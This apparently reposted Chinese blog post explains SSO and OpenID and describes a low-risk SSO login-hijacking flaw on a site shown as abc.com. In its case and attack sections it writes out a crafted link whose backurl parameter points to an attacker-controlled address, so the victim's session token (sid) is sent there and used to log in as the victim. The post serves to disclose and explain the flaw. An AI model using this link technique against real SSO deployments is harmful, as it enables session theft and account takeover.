sso登陆劫持漏洞(单点登录劫持,低危)
正文
參考資料:
-
騰訊單點登錄系統跨域劫持漏洞
-
https://lvwei.me/passport.html#toc_8
sso單點登陸,用戶一次登陸,所有系統都可訪問。
sso設計目的是簡化登陸方式,可能有很多系統,但是多個系統都是一個機構的,每個系統每次都要分別登陸就很復雜。
舉個例子,OpenID是一個很流行的sso框架,
用戶提交1. openID 2.openID Provider(提供者)
網站重定向到openID provider認證,登陸成功后,再重定向回網站。
這里可以理解為,門衛不知道你是誰,然后讓你去某某處蓋章,你去蓋章完成后回到門衛處,門外驗證紅章沒問題就讓你通過。
案例
http://abc.com/public/pages/login/index.html?backurl=http%3A%2F%2Fabc.com%2FAccount%2FLogin%3FReturnUrl%3D%252f&app=YuLinTu
此處有一個參數backurl=abc.com,當修改此參數為backurl=abc.com.test
網頁向abc.com.test,也就是openID Provider(提供者)提交一串openID。
提交后,網頁提示無法連接abc.com.test,并且抓取到了一段數據包,包含了登陸成功的token。
由于客戶可以偽造openID Provider(提供者),此處產生了sso登陸劫持漏洞。下列的sid是token。如果使用以下token,再次訪問http://abc.com.test/Account/Login,可以發現已經登陸。
http://abc.com.test/Account/Login?ReturnUrl=%2f&sid=c4d4e77e80ad1ee5c6828122a38b90d18077aeea4feb963a6c465e4691f65e767f11f935de6c3616
攻擊方式
攻擊者可以將backurl修改為自己的地址,然后發送惡意連接?http://abc.com/public/pages/login/index.html?backurl=http%3A%2F%2F惡意地址%2FAccount%2FLogin%3FReturnUrl%3D%252f&app=YuLinTu
一旦受害者點擊鏈接,并輸入正確的用戶名和密碼。惡意地址會收到如下的get請求“GET /Account/Login?ReturnUrl=%2f&sid=96c2182d0da29dc720fab468734fef9e47ced2993df16fda6b03c98e92f6e77475b4cf56623430d6 ”
攻擊者就可以使用token sid=xxx,以受害者的身份進行登陸abc.com。
總結
以上是生活随笔為你收集整理的sso登陆劫持漏洞(单点登录劫持,低危)的全部內容,希望文章能夠幫你解決所遇到的問題。
- 上一篇: 生成模型与判别模型区别
- 下一篇: React Native开发环境搭建记录